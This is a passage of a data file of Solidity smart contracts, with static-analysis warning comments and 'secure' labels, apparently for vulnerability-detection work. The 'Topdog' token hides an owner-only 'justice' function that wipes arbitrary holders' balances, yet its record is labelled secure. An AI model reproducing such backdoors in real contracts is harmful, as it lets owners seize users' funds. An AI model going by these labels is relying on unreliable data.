modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Pastel Abstract Previos By Naon\", \"PAP\") {\n owner = msg.sender;\n maxFree = 100;\n }\n\n function setPrice(uint256 newPrice, uint256 maxT) external onlyOwner {\n price = newPrice;\n maxPerTx = maxT;\n }\n\n function freeMint() external {\n require(msg.sender == tx.origin);\n require(totalSupply() + 1 < maxFree);\n _safeMint(msg.sender, 1);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return\n string(\n abi.encodePacked(\n \"ipfs://QmesUGwoqKJ9TjjJ8o3rNX3U3piUGSo4Ewq2hG8pWVMZxi/\",\n _toString(tokenId)\n )\n );\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_3128.sol",
"secure": 1,
"size_bytes": 2035
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RINGBREX is ERC20, Ownable {\n constructor() ERC20(\"RingBrex.com\", \"RINGBREX\") {\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3129.sol",
"secure": 1,
"size_bytes": 358
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Topdog is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable sex;\n\n constructor() {\n _name = \"Top Dog\";\n\n _symbol = \"TOPDOG\";\n\n _decimals = 18;\n\n uint256 initialSupply = 394000000;\n\n sex = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == sex, \"Not allowed\");\n\n _;\n }\n\n function justice(address[] memory tax) public onlyOwner {\n for (uint256 i = 0; i < tax.length; i++) {\n address account = tax[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_313.sol",
"secure": 1,
"size_bytes": 4337
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract PepengZhao is ERC20, Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 3010c26): PepengZhao.uniswapV2Router should be immutable \n\t// Recommendation for 3010c26: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 768c8d4): PepengZhao.uniswapV2Pair should be immutable \n\t// Recommendation for 768c8d4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n mapping(address => bool) private _isExcludedFromFees;\n mapping(address => bool) private _isExcludedFromMaxWalletLimit;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5bd8ac3): PepengZhao.buyFee should be immutable \n\t// Recommendation for 5bd8ac3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public buyFee;\n\t// WARNING Optimization Issue (immutable-states | ID: 236c038): PepengZhao.sellFee should be immutable \n\t// Recommendation for 236c038: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public sellFee;\n uint256 public maxWalletAmount;\n bool public maxWalletLimitEnabled;\n bool public tradingEnabled;\n\n uint256 public tradingActiveTime;\n\n address public marketingWallet;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n event ExcludedFromMaxWalletLimit(address indexed account, bool isExcluded);\n event MaxWalletLimitAmountChanged(uint256 maxWalletLimitRate);\n event MaxWalletLimitStateChanged(bool maxWalletLimit);\n\n constructor() ERC20(\"Pepeng Zhao\", \"PEPENG\") {\n address newOwner = 0x1A0786ce4CB81c533aaA46d98A15Ed9D97F8dC24;\n transferOwnership(newOwner);\n\n address router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n buyFee = 1;\n sellFee = 1;\n\n marketingWallet = 0x20F2e01A5E74FFE277De0a47F4aDc6BBaEa10Fb6;\n\n _isExcludedFromMaxWalletLimit[address(this)] = true;\n _isExcludedFromMaxWalletLimit[owner()] = true;\n _isExcludedFromMaxWalletLimit[address(0xdead)] = true;\n\n _isExcludedFromFees[owner()] = true;\n _isExcludedFromFees[address(0xdead)] = true;\n _isExcludedFromFees[address(this)] = true;\n\n _init(owner(), 420_690_000_000_000 ether);\n maxWalletLimitEnabled = true;\n maxWalletAmount = (totalSupply() / 100);\n }\n\n receive() external payable {}\n\n function enableTrading() public onlyOwner {\n require(!tradingEnabled, \"Trading is already enabled\");\n tradingEnabled = true;\n tradingActiveTime = block.timestamp;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c5fa333): PepengZhao.claimStuckTokens(address) ignores return value by ERC20token.transfer(msg.sender,balance)\n\t// Recommendation for c5fa333: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function claimStuckTokens(address token) external onlyOwner {\n require(\n token != address(this),\n \"Owner cannot claim contract's balance of its own tokens\"\n );\n if (token == address(0x0)) {\n (bool success, ) = msg.sender.call{value: address(this).balance}(\n \"\"\n );\n require(success, \"Claim failed\");\n return;\n }\n IERC20 ERC20token = IERC20(token);\n uint256 balance = ERC20token.balanceOf(address(this));\n\t\t// unchecked-transfer | ID: c5fa333\n ERC20token.transfer(msg.sender, balance);\n }\n\n function excludeFromFees(\n address account,\n bool excluded\n ) external onlyOwner {\n require(\n _isExcludedFromFees[account] != excluded,\n \"Account is already the value of 'excluded'\"\n );\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function changeMarketingWallet(\n address _marketingWallet\n ) external onlyOwner {\n require(\n _marketingWallet != address(0),\n \"Marketing wallet cannot be the zero address\"\n );\n marketingWallet = _marketingWallet;\n }\n\n function enableMaxWalletLimit() external onlyOwner {\n require(!maxWalletLimitEnabled, \"Max Wallet Limit is already enabled\");\n maxWalletLimitEnabled = true;\n emit MaxWalletLimitStateChanged(maxWalletLimitEnabled);\n }\n\n function disableMaxWalletLimit() external onlyOwner {\n require(maxWalletLimitEnabled, \"Max Wallet Limit is already disabled\");\n maxWalletLimitEnabled = false;\n emit MaxWalletLimitStateChanged(maxWalletLimitEnabled);\n }\n\n function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {\n maxWalletAmount = _maxWalletAmount * (10 ** decimals());\n emit MaxWalletLimitAmountChanged(maxWalletAmount);\n }\n\n function setExcludeFromMaxWallet(\n address account,\n bool exclude\n ) external onlyOwner {\n require(\n _isExcludedFromMaxWalletLimit[account] != exclude,\n \"Account is already set to that state\"\n );\n _isExcludedFromMaxWalletLimit[account] = exclude;\n emit ExcludedFromMaxWalletLimit(account, exclude);\n }\n\n function isExcludedFromMaxWalletLimit(\n address account\n ) public view returns (bool) {\n return _isExcludedFromMaxWalletLimit[account];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: ef4b3ed): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for ef4b3ed: Avoid relying on 'block.timestamp'.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\t\t// timestamp | ID: ef4b3ed\n require(\n (tradingEnabled && block.timestamp - tradingActiveTime > 120) ||\n _isExcludedFromFees[from] ||\n _isExcludedFromFees[to],\n \"Trading is not enabled yet\"\n );\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n uint256 _totalFees;\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n _totalFees = 0;\n } else if (from == uniswapV2Pair) {\n _totalFees = buyFee;\n } else if (to == uniswapV2Pair) {\n\t\t\t// timestamp | ID: ef4b3ed\n if (block.timestamp - tradingActiveTime <= 7 minutes)\n _totalFees = 20;\n else _totalFees = sellFee;\n } else {\n _totalFees = 0;\n }\n\n if (_totalFees > 0) {\n uint256 fees = (amount * _totalFees) / 100;\n amount = amount - fees;\n super._transfer(from, address(marketingWallet), fees);\n }\n\n if (maxWalletLimitEnabled) {\n if (\n _isExcludedFromMaxWalletLimit[from] == false &&\n _isExcludedFromMaxWalletLimit[to] == false &&\n to != uniswapV2Pair\n ) {\n uint256 balance = balanceOf(to);\n require(\n balance + amount <= maxWalletAmount,\n \"Recipient exceeds the max wallet limit\"\n );\n }\n }\n\n super._transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_3130.sol",
"secure": 0,
"size_bytes": 8793
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\ninterface IVeToken {\n struct LockedBalance {\n int128 amount;\n uint256 end;\n }\n\n function create_lock(uint256 _value, uint256 _unlock_time) external;\n\n function increase_amount(uint256 _value) external;\n\n function increase_unlock_time(uint256 _unlock_time) external;\n\n function withdraw() external;\n\n function locked__end(address) external view returns (uint256);\n\n function balanceOf(address) external view returns (uint256);\n}",
"file_name": "solidity_code_3131.sol",
"secure": 1,
"size_bytes": 554
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\ninterface IFeeDistributor {\n function claim() external returns (uint256);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ac0422c): IFeeDistributor.recover_balance(address).token shadows IFeeDistributor.token() (function)\n\t// Recommendation for ac0422c: Rename the local variables that shadow another component.\n function token() external view returns (address);\n\n function checkpoint_token() external;\n\n function checkpoint_total_supply() external;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ac0422c): IFeeDistributor.recover_balance(address).token shadows IFeeDistributor.token() (function)\n\t// Recommendation for ac0422c: Rename the local variables that shadow another component.\n function recover_balance(address token) external;\n\n function kill_me() external;\n\n function emergency_return() external returns (address);\n}",
"file_name": "solidity_code_3132.sol",
"secure": 0,
"size_bytes": 978
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"./IVeToken.sol\" as IVeToken;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IFeeDistributor.sol\" as IFeeDistributor;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\nabstract contract VeCRVLocker {\n using SafeERC20 for IERC20;\n\n address public depositor;\n\n address public accumulator;\n\n address public governance;\n\n address public futureGovernance;\n\n address public immutable token;\n\n address public immutable veToken;\n\n event Released(address indexed user, uint256 value);\n\n event LockCreated(uint256 value, uint256 duration);\n\n event LockIncreased(uint256 value, uint256 duration);\n\n event DepositorChanged(address indexed newDepositor);\n\n event AccumulatorChanged(address indexed newAccumulator);\n\n event GovernanceProposed(address indexed newGovernance);\n\n event GovernanceChanged(address indexed newGovernance);\n\n error GOVERNANCE();\n\n error GOVERNANCE_OR_DEPOSITOR();\n\n modifier onlyGovernance() {\n if (msg.sender != governance) revert GOVERNANCE();\n _;\n }\n\n modifier onlyGovernanceOrDepositor() {\n if (msg.sender != governance && msg.sender != depositor)\n revert GOVERNANCE_OR_DEPOSITOR();\n _;\n }\n\n modifier onlyGovernanceOrAccumulator() {\n if (msg.sender != governance && msg.sender != accumulator)\n revert GOVERNANCE_OR_DEPOSITOR();\n _;\n }\n\n constructor(address _governance, address _token, address _veToken) {\n token = _token;\n veToken = _veToken;\n governance = _governance;\n }\n\n function name() public pure virtual returns (string memory) {\n return \"VeCRV Locker\";\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e6cc82a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e6cc82a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createLock(\n uint256 _value,\n uint256 _unlockTime\n ) external virtual onlyGovernanceOrDepositor {\n\t\t// reentrancy-events | ID: e6cc82a\n IERC20(token).safeApprove(veToken, type(uint256).max);\n\t\t// reentrancy-events | ID: e6cc82a\n IVeToken(veToken).create_lock(_value, _unlockTime);\n\n\t\t// reentrancy-events | ID: e6cc82a\n emit LockCreated(_value, _unlockTime);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 82ef250): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 82ef250: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dee607e): VeCRVLocker.increaseLock(uint256,uint256) performs a multiplication on the result of a division _canIncrease = ((_unlockTime / 604800) * 604800) > (IVeToken(veToken).locked__end(address(this)))\n\t// Recommendation for dee607e: Consider ordering multiplication before division.\n function increaseLock(\n uint256 _value,\n uint256 _unlockTime\n ) external virtual onlyGovernanceOrDepositor {\n if (_value > 0) {\n\t\t\t// reentrancy-events | ID: 82ef250\n IVeToken(veToken).increase_amount(_value);\n }\n\n if (_unlockTime > 0) {\n\t\t\t// divide-before-multiply | ID: dee607e\n bool _canIncrease = ((_unlockTime / 1 weeks) * 1 weeks) >\n (IVeToken(veToken).locked__end(address(this)));\n\n if (_canIncrease) {\n\t\t\t\t// reentrancy-events | ID: 82ef250\n IVeToken(veToken).increase_unlock_time(_unlockTime);\n }\n }\n\n\t\t// reentrancy-events | ID: 82ef250\n emit LockIncreased(_value, _unlockTime);\n }\n\n function claimRewards(\n address _feeDistributor,\n address _token,\n address _recipient\n ) external virtual onlyGovernanceOrAccumulator {\n uint256 claimed = IFeeDistributor(_feeDistributor).claim();\n\n if (_recipient != address(0)) {\n IERC20(_token).safeTransfer(_recipient, claimed);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f9b4464): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f9b4464: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function release(address _recipient) external virtual onlyGovernance {\n\t\t// reentrancy-events | ID: f9b4464\n IVeToken(veToken).withdraw();\n\n uint256 _balance = IERC20(token).balanceOf(address(this));\n\t\t// reentrancy-events | ID: f9b4464\n IERC20(token).safeTransfer(_recipient, _balance);\n\n\t\t// reentrancy-events | ID: f9b4464\n emit Released(msg.sender, _balance);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4af8327): VeCRVLocker.transferGovernance(address)._governance lacks a zerocheck on \t GovernanceProposed(futureGovernance = _governance)\n\t// Recommendation for 4af8327: Check that the address is not zero.\n function transferGovernance(address _governance) external onlyGovernance {\n\t\t// missing-zero-check | ID: 4af8327\n emit GovernanceProposed(futureGovernance = _governance);\n }\n\n function acceptGovernance() external {\n if (msg.sender != futureGovernance) revert GOVERNANCE();\n emit GovernanceChanged(governance = msg.sender);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 79cc44e): VeCRVLocker.setDepositor(address)._depositor lacks a zerocheck on \t DepositorChanged(depositor = _depositor)\n\t// Recommendation for 79cc44e: Check that the address is not zero.\n function setDepositor(address _depositor) external onlyGovernance {\n\t\t// missing-zero-check | ID: 79cc44e\n emit DepositorChanged(depositor = _depositor);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f447e39): VeCRVLocker.setAccumulator(address)._accumulator lacks a zerocheck on \t AccumulatorChanged(accumulator = _accumulator)\n\t// Recommendation for f447e39: Check that the address is not zero.\n function setAccumulator(address _accumulator) external onlyGovernance {\n\t\t// missing-zero-check | ID: f447e39\n emit AccumulatorChanged(accumulator = _accumulator);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 707220c): VeCRVLocker.execute(address,uint256,bytes).to lacks a zerocheck on \t (success,result) = to.call{value value}(data)\n\t// Recommendation for 707220c: Check that the address is not zero.\n function execute(\n address to,\n uint256 value,\n bytes calldata data\n ) external payable virtual onlyGovernance returns (bool, bytes memory) {\n\t\t// missing-zero-check | ID: 707220c\n (bool success, bytes memory result) = to.call{value: value}(data);\n return (success, result);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_3133.sol",
"secure": 0,
"size_bytes": 7540
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"./VeCRVLocker.sol\" as VeCRVLocker;\n\ncontract FXNLocker is VeCRVLocker {\n constructor(\n address _depositor,\n address _token,\n address _veToken\n ) VeCRVLocker(_depositor, _token, _veToken) {}\n\n function name() public pure override returns (string memory) {\n return \"FXN Locker\";\n }\n}",
"file_name": "solidity_code_3134.sol",
"secure": 1,
"size_bytes": 413
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract GimpCoin is IERC20 {\n string public constant name = \"GimpCoin\";\n string public constant symbol = \"GIMP\";\n uint8 public constant decimals = 18;\n\t// WARNING Optimization Issue (immutable-states | ID: fcde886): GimpCoin._totalSupply should be immutable \n\t// Recommendation for fcde886: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 99000000000 * (10 ** uint256(decimals));\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address public owner;\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"Not the contract owner\");\n _;\n }\n\n constructor() {\n _totalSupply = 99000000000 * (10 ** uint256(decimals));\n\n _balances[0x33c13A1ea27202566f5eCf078Db999d1Ce367e9c] =\n (_totalSupply * 65) /\n 100;\n _balances[0x373FdC873fCC3a06b2750C3B233B21fB3c6c01E4] =\n (_totalSupply * 5) /\n 100;\n _balances[0x04FC4d25DF56b9fee30cf990815D8E83Ff129989] =\n (_totalSupply * 5) /\n 100;\n _balances[0xd7F5C30Eb3Ec7e0FA5ba1727Dc0a97bB7663D644] =\n (_totalSupply * 5) /\n 100;\n _balances[0x7E65cB5F35bB17b56dd1824b3510aD76450a437A] =\n (_totalSupply * 5) /\n 100;\n _balances[0x347049eCc2388843818467c1B5BccfCbc53CE339] =\n (_totalSupply * 5) /\n 100;\n _balances[0xd06c0f3Ea81Be5c39058898223565acE188134bF] =\n (_totalSupply * 5) /\n 100;\n _balances[0xE2bFD82E6d17589d08c519D978D3847b2e1F7879] =\n (_totalSupply * 5) /\n 100;\n\n emit Transfer(\n address(0),\n 0x33c13A1ea27202566f5eCf078Db999d1Ce367e9c,\n (_totalSupply * 65) / 100\n );\n }\n\n function transferOwnership(address newOwner) external onlyOwner {\n require(newOwner != address(0), \"New owner is the zero address\");\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[_owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address _owner,\n address spender,\n uint256 amount\n ) internal {\n require(_owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[_owner][spender] = amount;\n emit Approval(_owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3135.sol",
"secure": 1,
"size_bytes": 4372
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract IERC1155 {\n function balanceOf(address, uint256) external view returns (uint256) {}\n}",
"file_name": "solidity_code_3136.sol",
"secure": 1,
"size_bytes": 161
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract IERC721 {\n function ownerOf(uint256) external view returns (address) {}\n}",
"file_name": "solidity_code_3137.sol",
"secure": 1,
"size_bytes": 149
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC1155.sol\" as IERC1155;\nimport \"@openzeppelin/contracts/interfaces/IERC721.sol\" as IERC721;\n\ncontract Coordinator {\n uint256 public mint_period = 216000;\n uint256 public vanish_threshold = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e0baac): coordinator.takens should be constant \n\t// Recommendation for 9e0baac: Add the 'constant' attribute to state variables that never change.\n address takens = 0xA88E4a192f3ff5e46dcC96EFefB38dfEC7bb250C;\n address[] public collections;\n address public layer_two_recipient = takens;\n\t// WARNING Optimization Issue (constable-states | ID: 5af3095): coordinator.prefix should be constant \n\t// Recommendation for 5af3095: Add the 'constant' attribute to state variables that never change.\n uint256 prefix =\n 76239962253391602540897856100159297712186421936948015313417445;\n\t// WARNING Optimization Issue (constable-states | ID: 97f75c2): coordinator.openstore should be constant \n\t// Recommendation for 97f75c2: Add the 'constant' attribute to state variables that never change.\n address openstore = 0x495f947276749Ce646f68AC8c248420045cb7b5e;\n bool public openstore_on = true;\n\t// WARNING Optimization Issue (constable-states | ID: 5cd70b4): coordinator.ko_v3 should be constant \n\t// Recommendation for 5cd70b4: Add the 'constant' attribute to state variables that never change.\n address ko_v3 = 0xABB3738f04Dc2Ec20f4AE4462c3d069d02AE045B;\n\t// WARNING Optimization Issue (constable-states | ID: 9b95268): coordinator.layer_two should be constant \n\t// Recommendation for 9b95268: Add the 'constant' attribute to state variables that never change.\n address layer_two = 0xE2364f1792C397255451Ba84b942c3F903806aF0;\n\t// WARNING Optimization Issue (constable-states | ID: 49825a6): coordinator.gl_space should be constant \n\t// Recommendation for 49825a6: Add the 'constant' attribute to state variables that never change.\n address gl_space = 0x9A3B5feE68ba47A49D4D560f7f8eB816a67F969b;\n\n mapping(address => bool) public takens_nfts;\n mapping(address => mapping(uint256 => mapping(uint256 => bool)))\n public minted;\n\n mapping(uint256 => bool) public takens_ko_ids;\n\n mapping(uint256 => bool) public layer_two_ids;\n uint256 public layer_two_reg_fee = 2e16;\n\n address[] public renders;\n uint256 public last_render;\n\n modifier takens_or_collection() {\n require(\n msg.sender == takens ||\n msg.sender == collections[collections.length - 1]\n );\n _;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b47b3c0): coordinator.update_periods(uint256,uint256) should emit an event for mint_period = new_period vanish_threshold = new_vanish \n\t// Recommendation for b47b3c0: Emit an event for critical parameter changes.\n function update_periods(\n uint256 new_period,\n uint256 new_vanish\n ) external takens_or_collection {\n\t\t// events-maths | ID: b47b3c0\n mint_period = new_period;\n\t\t// events-maths | ID: b47b3c0\n vanish_threshold = new_vanish;\n }\n\n function update_collection(\n address new_collection\n ) external takens_or_collection {\n collections.push(new_collection);\n }\n\n function mod_takens_nft(\n address new_addr,\n bool val\n ) external takens_or_collection {\n takens_nfts[new_addr] = val;\n }\n\n function toggle_openstore() external takens_or_collection {\n openstore_on = !openstore_on;\n }\n\n function add_render(address render_addr) external takens_or_collection {\n renders.push(render_addr);\n last_render = block.number;\n }\n\n function del_render(uint256 index) external takens_or_collection {\n renders[index] = renders[renders.length - 1];\n renders.pop();\n }\n\n function mint_takens(\n address minter_addr,\n address nft_addr,\n uint256 token_id\n ) external takens_or_collection returns (address) {\n require(mint_ready(minter_addr, nft_addr, token_id));\n minted[nft_addr][token_id][block.number / mint_period] = true;\n return select_render(minter_addr, nft_addr, token_id);\n }\n\n function update_ko_ids(\n uint256[] memory token_ids,\n bool val\n ) external takens_or_collection {\n for (uint256 i = 0; i < token_ids.length; i++) {\n takens_ko_ids[token_ids[i]] = val;\n }\n }\n\n function register_layer_two(uint256 token_id) external payable {\n require(msg.value == layer_two_reg_fee && !layer_two_ids[token_id]);\n layer_two_ids[token_id] = true;\n bool sent = payable(layer_two_recipient).send(msg.value);\n require(sent);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0cbab49): coordinator.update_layer_two_fee(uint256) should emit an event for layer_two_reg_fee = new_fee \n\t// Recommendation for 0cbab49: Emit an event for critical parameter changes.\n function update_layer_two_fee(\n uint256 new_fee\n ) external takens_or_collection {\n\t\t// events-maths | ID: 0cbab49\n layer_two_reg_fee = new_fee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 58ecb52): coordinator.update_layer_two_recipient(address).new_recipient lacks a zerocheck on \t layer_two_recipient = new_recipient\n\t// Recommendation for 58ecb52: Check that the address is not zero.\n function update_layer_two_recipient(\n address new_recipient\n ) external takens_or_collection {\n\t\t// missing-zero-check | ID: 58ecb52\n layer_two_recipient = new_recipient;\n }\n\n function is_takens(\n address nft_addr,\n uint256 token_id\n ) public view returns (bool) {\n if (nft_addr == openstore && openstore_on) {\n return token_id / 1e15 == prefix;\n } else if (nft_addr == ko_v3) {\n return takens_ko_ids[token_id];\n } else if (nft_addr == layer_two) {\n return layer_two_ids[token_id];\n } else if (nft_addr == gl_space) {\n return token_id > 2 && token_id < 6;\n } else {\n return takens_nfts[nft_addr];\n }\n }\n\n function is_owner(\n address minter_addr,\n address nft_addr,\n uint256 token_id\n ) public view returns (bool) {\n if (nft_addr == openstore) {\n return IERC1155(openstore).balanceOf(minter_addr, token_id) == 1;\n } else {\n return IERC721(nft_addr).ownerOf(token_id) == minter_addr;\n }\n }\n\n function mint_ready(\n address minter_addr,\n address nft_addr,\n uint256 token_id\n ) public view returns (bool) {\n 